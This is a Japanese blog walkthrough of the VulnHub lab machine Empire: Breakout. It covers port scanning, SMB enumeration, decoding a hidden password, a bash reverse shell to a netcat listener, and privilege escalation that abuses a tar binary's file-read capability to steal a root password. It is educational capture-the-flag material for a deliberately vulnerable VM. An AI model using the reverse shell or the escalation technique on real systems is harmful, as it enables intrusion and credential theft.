Empire: Breakout 攻略 Walkthrough【VulnHub編】
目次 [hide]
- 1 はじめに
- 2 ハッキングの準備【実習】
- 3 Breakoutをハッキングする【実験】
- 3.1 ステップ1:Breakoutマシンを起動する
- 3.2 ステップ2:ParrotOSを起動する
- 3.3 ステップ3:ParrotOSのIPアドレスを調べる
- 3.4 ステップ4:BreakoutマシンのIPアドレスを特定する
- 3.5 ステップ5:IPアドレスを環境設定に設定する
- 3.6 ステップ6:BreakoutマシンにPingする
- 3.7 ステップ7:実験用のディレクトリーを作成する
- 3.8 ステップ8:ポートスキャンする
- 3.9 ステップ9:HTTPサービスにアクセスする
- 3.10 ステップ10:別のHTTPサービスにアクセスする
- 3.11 ステップ11:SMB共有サービスを調べる
- 3.12 ステップ12:Userwin/Webmin認証画面にログインを試みる
- 3.13 ステップ13:ユーザーのフラグファイルを開く
- 3.14 ステップ14:リバースシェルを設置する
- 3.15 ステップ15:sudoの設定を確認する
- 3.16 ステップ16:怪しい"tar"ファイルを調べる
- 3.17 ステップ17:バックアップディレクトリー内のファイルを解析する
- 3.18 ステップ18:suコマンドを実行する
- 3.19 ステップ19:Pythonのptyモジュールを用いてTTYシェルに切り替える
- 3.20 ステップ20:"r00t.txt"ファイルを開こうと試みる
- 3.21 ステップ21:Webmin認証画面からログインする
はじめに
いつもブログをご覧いただきありがとうございます。
コーストFIRE中のIPUSIRONです
ハッキングの準備【実習】
実験で使用するターゲット端末は、次の表のとおりです。
URL | https://www.vulnhub.com/entry/empire-breakout,751/ |
名前 | Empire: Breakout |
ファイル名 | 02-Breakout.zip |
ファイルサイズ | 1,013Mバイト |
ファイルタイプ | VirtualBoxのOVA |
リリース日 | 2021年10月21日 |
OS | Linux |
教材種別 | Boot2Root(rootのフラグの奪取) |
ネットワーク設定 | IPアドレスは動的割り当て |
難易度 | 初級 |
一言解説 | 難易度は初級だが、迷子になると難易度は上がる。 |
今回は、VirtualBoxのホストオンリーネットワーク内に攻撃端末(ParrotOSマシン)とターゲット端末(Breakoutマシン)を起動して実験します。
以下の手順に従ってターゲット端末を構築します。
1:ターゲット端末の仮想マシンをダウンロードする
当該URLにアクセスします。ダウンロード用のURLがありますので、そのリンクから"02-Breakout.zip"ファイルをダウンロードします。
2:ファイルを解凍する
解凍すると"02 – Breakout"フォルダーになり、その中に次の3つのファイルがあります。
- “Breakout.mf"ファイル
- “Breakout.ovf"ファイル
- “Breakout-disk1.vmdk"ファイル
3:OVFファイルをインポートする
VirtualBoxを起動し、以下の手順でインポートします。
メニューの「ファイル」>「仮想アプライアンスのインポート」を選びます。「インポートしたい仮想アプライアンス」画面にて、ソースに「ローカルファイルシステム」、ファイルに"Breakout.ovf"ファイルを指定して、[次へ]ボタンを押します。
「仮想アプライアンスの設定」画面では仮想マシンの構成が表示されます。
仮想マシン名は"vm"ですので、"Breakout"に変更します(図●)。
仮想マシンの基本フォルダーにVirtualBox用の仮想マシンを収録するフォルダー("C:\VM_Guest\VBox"など)が指定されていること、ストレージコントローラー(SCSI)の仮想ディスクイメージに"Breakout-disk1.vmdk"ファイルが指定されていることを確認します。
MACアドレスのポリシーでは「すべてのネットワークアダプタのMACアドレスを含む」を選択して、[インポート]ボタンを押します。

4:仮想マシンの仮想ネットワークアダプターを設定する
インポートが完了すると、VirtualBoxの左ペインに表示されます。ネットワークの設定が残っていますので、Potatoマシンを選んだ状態で右クリックして「設定」を選びます。「設定」画面が表示されたら、左ペインから「ネットワーク」を選びます。「アダプター1」タブを選び、次の設定を適用して、[OK]ボタンを押して反映させます。
アダプター1 | ・ネットワークアダプターを有効化:チェック ・割り当て:ホストオンリーアダプター ・名前:VirtualBox Host-Only Ethernet Adapter |
アダプター2 | ・ネットワークアダプターを有効化:チェックしない |
その後、[OK]ボタンを押して反映させます。
Breakoutをハッキングする【実験】
ステップ1:Breakoutマシンを起動する
ターゲット端末のBreakoutマシンを起動します。"breakout login"という認証画面になりましたら、起動に成功しています(図)。メッセージからIPアドレスは192.168.56.117とわかります。

ステップ2:ParrotOSを起動する
攻撃端末であるParrotOSの仮想マシンを起動します。
ステップ3:ParrotOSのIPアドレスを調べる
ParrotOSのIPアドレスを調べます。ここでは192.168.56.101であるものとします。
1 2 3 | ┌─[ipusiron@parrot]─[~] └──╼ $ip -4 addr show dev enp0s3 (略) |
ステップ4:BreakoutマシンのIPアドレスを特定する
Pingスイープで調べても構いませんが、Breakoutの起動画面の上部にIPアドレスが表示されていたので、GitRootマシンは192.168.56.117とわかります。
ステップ5:IPアドレスを環境設定に設定する
GitRootマシンのIPアドレスは何度も使うので、環境変数IPに設定することにします。exportコマンドで環境変数を設定でき、echoコマンドで環境変数の内容を確認できます[1]exportコマンドでは環境変数を設定する際にはIPの頭に「
1 2 3 4 5 | ┌─[ipusiron@parrot]─[~] └──╼ $ export IP=192.168.56.117 ┌─[ipusiron@parrot]─[~] └──╼ $ echo $IP 192.168.56.117 |
ステップ6:BreakoutマシンにPingする
Breakoutマシンに対して疎通確認します。このとき環境変数IPを用いてみます。
1 2 3 | ┌─[ipusiron@parrot]─[~] └──╼ $ ping -c 1 $IP (略) |
Ping応答が返ってくれば、通信に成功しています。
ステップ7:実験用のディレクトリーを作成する
作業ディレクトリーとして"/home/<ユーザー名>/vulnhub/breakout"ディレクトリーを作成し、その中で作業します。
1 2 3 4 | ┌─[ipusiron@parrot]─[~] └──╼ $ mkdir vulnhub ┌─[ipusiron@parrot]─[~] └──╼ $ mkdir vulnhub /breakout |
ステップ8:ポートスキャンする
NmapでBreakoutマシンをポートスキャンします。Breakoutマシンで提供しているサービスとそのポート番号を特定できます。
- -p-:全ポートを対象。
- -A:OS検知、バージョン検知、スクリプトスキャン、tracerouteを有効化する。
- -T:スキャンの効率性を設定する。paranoid(0)、sneaky(1)、polite(2)、normal(3)、agressive(4)、insane(5)といった6種類のタイミングテンプレートがある。デフォルトはnormal(3)。数値が上げるとスキャン速度が速くなる。
- –system-dns:システムのDNSリゾルバを使う。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | ┌─[ipusiron@parrot]─[~ /vulnhub ] └──╼ $ cd breakout/ ┌─[ipusiron@parrot]─[~ /vulnhub/breakout ] └──╼ $nmap -p- -A -T 4 $IP --system-dns Starting Nmap 7.92 ( https: //nmap .org ) at 2022-12-30 16:16 JST Nmap scan report for 192.168.56.117 Host is up (0.00038s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80 /tcp open http Apache httpd 2.4.51 ( (Debian) ) |_http-server-header: Apache /2 .4.51 (Debian) |_http-title: Apache2 Debian Default Page: It works 139 /tcp open netbios-ssn Samba smbd 4.6.2 445 /tcp open netbios-ssn Samba smbd 4.6.2 10000 /tcp open http MiniServ 1.981 (Webmin httpd) |_http-title: 200 — Document follows 20000 /tcp open http MiniServ 1.830 (Webmin httpd) |_http-title: 200 — Document follows Host script results: |_clock-skew: 8h59m56s | smb2- time : | date : 2022-12-30T16:16:37 |_ start_date: N /A | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required |_nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) Service detection performed. Please report any incorrect results at https: //nmap .org /submit/ . Nmap done : 1 IP address (1 host up) scanned in 46.40 seconds |
Nmapの出力から次のTCPポートが開いていることがわかりました。以降のステップで脆弱そうなポートから調査していきます。
- ポート80/TCP・・・HTTPサービス。Apache httpd 2.4.51が動作している。攻略の足がかりとして最初に取り組むべき。
- ポート139/TCP・・・Sambaサービス(NetBIOS SSN)。Samba smbd 4.6.2が動作している。
- ポート445/TCP・・・Sambaサービス(NetBIOS SSN)。Samba smbd 4.6.2が動作している。
- ポート10000/TCP・・・HTTPサービス。MiniServ 1.981 (Webmin httpd)が動作している。
- ポート20000/TCP・・・HTTPサービス。MiniServ 1.830 (Webmin httpd)が動作している。
ステップ9:HTTPサービスにアクセスする
BreakoutマシンではHTTPサービスを提供しています。ParrotOS上でブラウザーを起動して、http://192.168.56.117/にアクセスします。
“Apache2 Debian Default Page"というデフォルトページが表示されます。Apache2が動作していることがわかります。
不審な点がないように思えますが、ソースを見ると行数が多いことに気づきます。スクロールしていくと、コメントに暗号文が書いてあります。どうやら共有サービスに安全にアクセスするための情報のようです。

暗号文を抽出すると次のとおりです。
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
使われている文字からBrainfuckのエンコード文字列のように思われます。
オンラインデコーダーでデコードしてみます。オンラインデコーダーは色々ありますので、好きなサイトを使ってください。
デコードした結果、".2uqPEfj3D<P’a-3″という文字列が得られます。
ステップ10:別のHTTPサービスにアクセスする
ブラウザーでhttps://192.168.56.117:20000/にアクセスします。
リスクが残っているHTTPSアクセスですので、"Warning: Potential Security Risk Ahead"というワーニングが表示されますが、無視して先に進みます。[Advanced]ボタンをから[Accept the Risk and Continue]ボタンを押します(図)。
すると、"Login to Usermin"という認証画面が表示されます(図)。


引き続いて別のタブでhttps://192.168.56.117:10000/にアクセスします。ワーニングについても先ほどと同じように無視します。すると、"Longin to Webmin"という認証画面が表示されます(図)。

よって、前者はユーザー権限の認証画面、後者は管理者権限の認証画面ということになります。まだ認証情報は得ていないので画面を表示したままにしておき、別の攻撃に移ります。
ステップ11:SMB共有サービスを調べる
Nmapの出力結果から、 NetBIOS-SSNサービスを提供している2ポートが開いていることを発見しました。
enumを使ってSMB共有サービスについて調査します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 | ┌─[ipusiron@parrot]─[~ /vulnhub/breakout ] └──╼ $enum4linux -a $IP Starting enum4linux v0.8.9 ( http: //labs .portcullis.co.uk /application/enum4linux/ ) on Sat Dec 31 10:50:30 2022 ========================== | Target Information | ========================== Target ........... 192.168.56.117 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ====================================================== | Enumerating Workgroup /Domain on 192.168.56.117 | ====================================================== [+] Got domain /workgroup name: WORKGROUP ============================================== | Nbtstat Information for 192.168.56.117 | ============================================== Looking up status of 192.168.56.117 BREAKOUT <00> - B <ACTIVE> Workstation Service BREAKOUT <03> - B <ACTIVE> Messenger Service BREAKOUT <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <00> - <GROUP> B <ACTIVE> Domain /Workgroup Name WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections MAC Address = 00-00-00-00-00-00 ======================================= | Session Check on 192.168.56.117 | ======================================= [+] Server 192.168.56.117 allows sessions using username '' , password '' ============================================= | Getting domain SID for 192.168.56.117 | ============================================= Domain Name: WORKGROUP Domain Sid: (NULL SID) [+] Can't determine if host is part of domain or part of a workgroup ======================================== | OS information on 192.168.56.117 | ======================================== Use of uninitialized value $os_info in concatenation (.) or string at . /enum4linux .pl line 464. [+] Got OS info for 192.168.56.117 from smbclient: [+] Got OS info for 192.168.56.117 from srvinfo: BREAKOUT Wk Sv PrQ Unx NT SNT Samba 4.13.5-Debian platform_id : 500 os version : 6.1 server type : 0x809a03 =============================== | Users on 192.168.56.117 | =============================== Use of uninitialized value $ users in print at . /enum4linux .pl line 874. Use of uninitialized value $ users in pattern match (m // ) at . /enum4linux .pl line 877. Use of uninitialized value $ users in print at . /enum4linux .pl line 888. Use of uninitialized value $ users in pattern match (m // ) at . /enum4linux .pl line 890. =========================================== | Share Enumeration on 192.168.56.117 | =========================================== Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Samba 4.13.5-Debian) SMB1 disabled -- no workgroup available [+] Attempting to map shares on 192.168.56.117 //192 .168.56.117 /print $ Mapping: DENIED, Listing: N /A //192 .168.56.117 /IPC $ [E] Can't understand response: NT_STATUS_OBJECT_NAME_NOT_FOUND listing \* ====================================================== | Password Policy Information for 192.168.56.117 | ====================================================== [+] Attaching to 192.168.56.117 using a NULL share [+] Trying protocol 139 /SMB ... [+] Found domain(s): [+] BREAKOUT [+] Builtin [+] Password Info for Domain: BREAKOUT [+] Minimum password length: 5 [+] Password history length: None [+] Maximum password age: 37 days 6 hours 21 minutes [+] Password Complexity Flags: 000000 [+] Domain Refuse Password Change: 0 [+] Domain Password Store Cleartext: 0 [+] Domain Password Lockout Admins: 0 [+] Domain Password No Clear Change: 0 [+] Domain Password No Anon Change: 0 [+] Domain Password Complex: 0 [+] Minimum password age: None [+] Reset Account Lockout Counter: 30 minutes [+] Locked Account Duration: 30 minutes [+] Account Lockout Threshold: None [+] Forced Log off Time: 37 days 6 hours 21 minutes [+] Retieved partial password policy with rpcclient: Password Complexity: Disabled Minimum Password Length: 5 ================================ | Groups on 192.168.56.117 | ================================ [+] Getting builtin groups : [+] Getting builtin group memberships: [+] Getting local groups : [+] Getting local group memberships: [+] Getting domain groups : [+] Getting domain group memberships: ========================================================================= | Users on 192.168.56.117 via RID cycling (RIDS: 500-550,1000-1050) | ========================================================================= [I] Found new SID: S-1-22-1 [I] Found new SID: S-1-5-21-1683874020-4104641535-3793993001 [I] Found new SID: S-1-5-32 [+] Enumerating users using SID S-1-5-32 and logon username '' , password '' S-1-5-32-500 *unknown*\*unknown* (8) …(中略)… S-1-5-32-543 *unknown*\*unknown* (8) S-1-5-32-544 BUILTIN\Administrators (Local Group) S-1-5-32-545 BUILTIN\Users (Local Group) S-1-5-32-546 BUILTIN\Guests (Local Group) S-1-5-32-547 BUILTIN\Power Users (Local Group) S-1-5-32-548 BUILTIN\Account Operators (Local Group) S-1-5-32-549 BUILTIN\Server Operators (Local Group) S-1-5-32-550 BUILTIN\Print Operators (Local Group) S-1-5-32-1000 *unknown*\*unknown* (8) …(中略)… S-1-5-32-1050 *unknown*\*unknown* (8) [+] Enumerating users using SID S-1-5-21-1683874020-4104641535-3793993001 and logon username '' , password '' S-1-5-21-1683874020-4104641535-3793993001-500 *unknown*\*unknown* (8) S-1-5-21-1683874020-4104641535-3793993001-501 BREAKOUT\nobody (Local User) S-1-5-21-1683874020-4104641535-3793993001-502 *unknown*\*unknown* (8) …(中略)… S-1-5-21-1683874020-4104641535-3793993001-512 *unknown*\*unknown* (8) S-1-5-21-1683874020-4104641535-3793993001-513 BREAKOUT\None (Domain Group) S-1-5-21-1683874020-4104641535-3793993001-514 *unknown*\*unknown* (8) …(中略)… S-1-5-21-1683874020-4104641535-3793993001-1050 *unknown*\*unknown* (8) [+] Enumerating users using SID S-1-22-1 and logon username '' , password '' S-1-22-1-1000 Unix User\cyber (Local User) =============================================== | Getting printer info for 192.168.56.117 | =============================================== No printers returned. enum4linux complete on Sat Dec 31 10:50:51 2022 |
Local Userとしてcyberユーザーを発見しました。これはUserwin/Webmin認証画面でのログインに役立ちそうです。
ステップ12:Userwin/Webmin認証画面にログインを試みる
Userwin/Webmin認証画面でログインを試みます。
ユーザー名は"cyber"、パスワードは".2uqPEfj3D<P’a-3″です。
Webmin認証画面ではログインに失敗しますが、Usermin認証画面(https://192.168.56.117:20000/)ではログインに成功します。
左側にハンバーガーアイコンが表示されますのでクリックします。するとメニューが表示されます。一番下にアイコンが並んでおり、左から2番目のアイコン(プロンプトマーク)を押します(図)[2]「Mail」タブの隣の「Usermin」タブを選び、ダッシュボードが表示されます。ここからブラウザー経由で各種操作ができます。「Command … Continue reading。すると画面が暗くなり、「Command Shell」画面に切り替わります(図)。


プロンプトは「$」です。
idコマンドを実行すると次のようになります。ユーザー権限であり、まだルート権限ではありません。
1 2 | [cyber@breakout ~]$ id uid=1000(cyber) gid=1000(cyber) groups =1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) |
「Command Shell」画面で調査を進めます[3]「Command Shell」画面を終える場合は、右上にある赤い×マークを押します。。
ステップ13:ユーザーのフラグファイルを開く
cyberユーザーのホームディレクトリーを見ると、"user.txt"ファイルがあります。フラグが書いてありました。
1 2 3 4 5 6 7 | [cyber@breakout ~]$ pwd /home/cyber [cyber@breakout ~]$ ls tar user.txt [cyber@breakout ~]$ cat user.txt 3mp!r3{You_Manage_To_Break_To_My_Secure_Access} |
ステップ14:リバースシェルを設置する
「Command Shell」画面のまま調査を継続してもよいですが、今回は学習を目的にしていますので、リバースシェルを設置します。ここではbashタイプのリバースシェルを用いて、ParrotOSからコマンドを実行できるようにします。
ParrotOSでNetcatで待ち受け状態を作ります。
1 2 3 4 | ┌─[ipusiron@parrot]─[~ /vulnhub/breakout ] └──╼ $ nc -lvnp 4444 listening on [any] 4444 ... (待ち状態になる) |
「Command Shell」画面で次を実行します。
1 | [cyber@breakout ~]$ bash -i >& /dev/tcp/192 .168.56.101 /4444 0>&1 |
うまくいけば、Netcat側に反応があり、プロンプトが返ってきます。
1 2 3 4 5 6 7 | ┌─[ipusiron@parrot]─[~ /vulnhub/breakout ] └──╼ $ nc -lvnp 4444 listening on [any] 4444 ... connect to [192.168.56.101] from (UNKNOWN) [192.168.56.117] 33764 bash : cannot set terminal process group (5163): Inappropriate ioctl for device bash : no job control in this shell cyber@breakout:~$ |
ステップ15:sudoの設定を確認する
cyberユーザーのまま調査を続けます。sudo -lコマンドを実行すると、sudoコマンドがないことがわかります。
1 2 3 | cyber@breakout:~$ sudo -l sudo -l ←コマンドの入力はエコーバックで返ってくる。以降は省略する。 bash : sudo : command not found |
ステップ16:怪しい"tar"ファイルを調べる
ホームディレクトリーに"tar"という怪しいファイルがあるので調べます。fileコマンドより実行ファイルがわかりますので、実際に実行してみます。出力内容からtarコマンドのように考えれます。
1 2 3 4 5 6 7 8 9 10 | cyber@breakout:~$ ls tar user.txt cyber@breakout:~$ ls -la tar -rwxr-xr-x 1 root root 531928 Oct 19 2021 tar cyber@breakout:~$ file tar tar : ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64 .so.2, BuildID[sha1]=727740cc46ed2e44f47dfff7bad5dc3fdb1249cb, for GNU /Linux 3.2.0, stripped cyber@breakout:~$ . /tar . /tar : You must specify one of the '-Acdtrux' , '--delete' or '--test-label' options Try './tar --help' or './tar --usage' for more information. |
本物のtarコマンドとの違いを調べてみます。
md5sumコマンドで"/bin/tar"のハッシュ値と比較すると一致しています。つまり、"/bin/tar"の同一ファイルが、cyberユーザー所有であり、"/home/cyber"ディレクトリー内に存在するということです。
1 2 3 4 5 6 | cyber@breakout:~$ which tar /bin/tar cyber@breakout:~$ md5sum tar 2c07f16d9be6d1bef784bd37928f18c1 tar cyber@breakout:~$ md5sum /bin/tar 2c07f16d9be6d1bef784bd37928f18c1 /bin/tar |
この"tar"ファイルはCAP_DAC_READ_SEARCHというケーバビリティーがepに設定されています。これはファイルの読み出しと実行ができる権限があることを意味します。
1 2 | cyber@breakout:~$ getcap . /tar . /tar cap_dac_read_search=ep |
ケーバビリティーについてシステム全体を調べてみます。
ユーザー権限でアクセスできないエラーが表示されることが事前にわかっていますので、「2> /dev/null」をつけて標準エラーを捨てています。
1 2 3 | cyber@breakout:~$ getcap -r / 2> /dev/null /home/cyber/tar cap_dac_read_search=ep /usr/bin/ping cap_net_raw=ep |
ステップ17:バックアップディレクトリー内のファイルを解析する
“/var/backpus"ディレクトリーがありますので、隠しファイルを含めて列挙します[4]“dpkg.*"ファイル類は環境によっては存在しませんが、攻略には無関係ですので気にする必要はありません。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | cyber@breakout:~$ cd /var cyber@breakout: /var $ ls backups cache lib local lock log mail opt run spool tmp usermin webmin www cyber@breakout: /var $ cd backups cyber@breakout: /var/backups $ ls -la total 480 drwxr-xr-x 2 root root 4096 Dec 31 06:25 . drwxr-xr-x 14 root root 4096 Oct 19 2021 .. -rw-r--r-- 1 root root 40960 Dec 31 06:25 alternatives. tar .0 -rw-r--r-- 1 root root 12732 Oct 19 2021 apt.extended_states.0 -rw-r--r-- 1 root root 0 Dec 31 06:25 dpkg.arch.0 -rw-r--r-- 1 root root 186 Oct 19 2021 dpkg.diversions.0 -rw-r--r-- 1 root root 135 Oct 19 2021 dpkg.statoverride.0 -rw-r--r-- 1 root root 413488 Oct 19 2021 dpkg.status.0 -rw------- 1 root root 17 Oct 20 2021 .old_pass.bak cyber@breakout: /var/backups $ file .old_pass.bak .old_pass.bak: regular file , no read permission |
“.old_pass.bak"という気になる名前のファイルがありますが、権限が足りずに開けません。
先ほどホームディレクトリーに"tar"ファイルがあったことと照らし合わせると、このファイルをアーカイブ化してから、展開すれば内容を読み取れそうです。
- -c:新規にアーカイブイブを作成する。
- -f:アーカイブファイルを指定する。
1 2 3 4 5 6 7 8 9 10 | cyber@breakout:~$ pwd /home/cyber cyber@breakout:~$ . /tar -cf backup. tar /var/backups/ .old_pass.bak . /tar : Removing leading `/' from member names cyber@breakout:~$ ls backup. tar ←アーカイブ化できた。 tar user.txt cyber@breakout:~$ file backup. tar backup. tar : POSIX tar archive (GNU) |
“backpu.tar"というアーカイブファイルができました。今度はアーカイブファイルを展開します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | cyber@breakout:~$ tar -xf backup. tar cyber@breakout:~$ ls backup. tar tar user.txt var cyber@breakout:~$ cd var cyber@breakout:~ /var $ ls backups cyber@breakout:~ /var $ cd backups cyber@breakout:~ /var/backups $ ls -la total 12 drwxr-xr-x 2 cyber cyber 4096 Dec 31 06:59 . drwxr-xr-x 3 cyber cyber 4096 Dec 31 06:59 .. -rw------- 1 cyber cyber 17 Oct 20 2021 .old_pass.bak |
展開後の".old_pass.bak"ファイルはcyberユーザー所有になっています。これで開けます。
1 2 3 4 | cyber@breakout:~ /var/backups $ file .old_pass.bak .old_pass.bak: ASCII text cyber@breakout:~ /var/backups $ cat .old_pass.bak Ts&4&YurgtRX(=~h |
「ファイル名に"pass"と含まれていること」「文字列が英数記号が含まれていること」から、文字列"Ts&4&YurgtRX(=~h"はパスワードであると推測できます。
ステップ18:suコマンドを実行する
“Ts&4&YurgtRX(=~h"は何のパスワードかということが問題ですが、元々".old_pass.bak"ファイルの所有者がrootユーザーでしたので、rootユーザーのパスワードと推測できます。suコマンドで試します。
1 2 | cyber@breakout:~ /var/backups $ su root Password: Ts&4&YurgtRX(=~h ← "Ts&4&YurgtRX(=~h" を入力。 |
パスワード直後は何も変化しないように見えますが、プロンプトが返ってきていないだけですでにユーザーの切り替えに成功しています[5]Userminの「Command Shell」画面でsuコマンドでrootユーザーに切り替えようとすると、"Authentication failure"とエラーが出ます。。実際にidコマンドを入力すると、rootユーザーであることがわかります。
1 2 | id uid=0(root) gid=0(root) groups=0(root) |
ステップ19:Pythonのptyモジュールを用いてTTYシェルに切り替える
Pythonのptyモジュールを用いてTTYシェルに切り替えることを目標にします。これにより、プロンプトを返るようになり、使い勝手が向上します。
1 2 3 4 | which python3 /bin/python3 python3 -c "import pty;pty.spawn('/bin/sh')" # ←プロンプトが返ってきた。 |
ステップ20:"r00t.txt"ファイルを開こうと試みる
“r00t.txt"ファイルが見つかりました。しかし、ここで"r00t.txt"ファイルが開けたら攻略は終わりでしたが、残念ながらcatコマンドで開こうとしましたが失敗しました。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | # pwd /home/cyber/var/backups # cd /root # ls -la ls -la total 40 drwx------ 6 root root 4096 Oct 20 2021 . drwxr-xr-x 18 root root 4096 Oct 19 2021 .. -rw------- 1 root root 281 Oct 20 2021 .bash_history -rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc drwxr-xr-x 3 root root 4096 Oct 19 2021 . local -rw-r--r-- 1 root root 161 Jul 9 2019 .profile -rw-r--r-- 1 root root 100 Oct 19 2021 rOOt.txt drwx------ 2 root root 4096 Oct 19 2021 .spamassassin drwxr-xr-x 2 root root 4096 Oct 19 2021 .tmp drwx------ 6 root root 4096 Oct 19 2021 .usermin # file r00t.txt r00t.txt: cannot open `r00t.txt' (No such file or directory) # cat r00t.txt cat : r00t.txt: No such file or directory |
ステップ21:Webmin認証画面からログインする
Webmin認証画面(https://192.168.56.117:10000/)を開き、ユーザー名は"root"、パスワードは"Ts&4&YurgtRX(=~h"を入力します。すると認証に成功し、システム情報が表示されます(図)。

ハンバーガーアイコンから「Command Shell」画面を表示します。ここから"r00t.txt"ファイルを開きます(図)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | [root@breakout ~] # pwd /root [root@breakout ~] # ls -la total 40 drwx------ 6 root root 4096 Oct 20 2021 . drwxr-xr-x 18 root root 4096 Oct 19 2021 .. -rw------- 1 root root 281 Oct 20 2021 .bash_history -rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc drwxr-xr-x 3 root root 4096 Oct 19 2021 . local -rw-r--r-- 1 root root 161 Jul 9 2019 .profile drwx------ 2 root root 4096 Oct 19 2021 .spamassassin drwxr-xr-x 2 root root 4096 Oct 19 2021 .tmp drwx------ 6 root root 4096 Oct 19 2021 .usermin -rw-r--r-- 1 root root 100 Oct 19 2021 rOOt.txt [root@breakout ~] # cat rOOt.txt 3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation} Author: Icex64 & Empire Cybersecurity |

無事フラグを表示できました。
以上で攻略を終了します。
References
↑1 | exportコマンドでは環境変数を設定する際にはIPの頭に「 |
---|---|
↑2 | 「Mail」タブの隣の「Usermin」タブを選び、ダッシュボードが表示されます。ここからブラウザー経由で各種操作ができます。「Command Shell」アイコンもあります。 |
↑3 | 「Command Shell」画面を終える場合は、右上にある赤い×マークを押します。 |
↑4 | “dpkg.*"ファイル類は環境によっては存在しませんが、攻略には無関係ですので気にする必要はありません。 |
↑5 | Userminの「Command Shell」画面でsuコマンドでrootユーザーに切り替えようとすると、"Authentication failure"とエラーが出ます。 |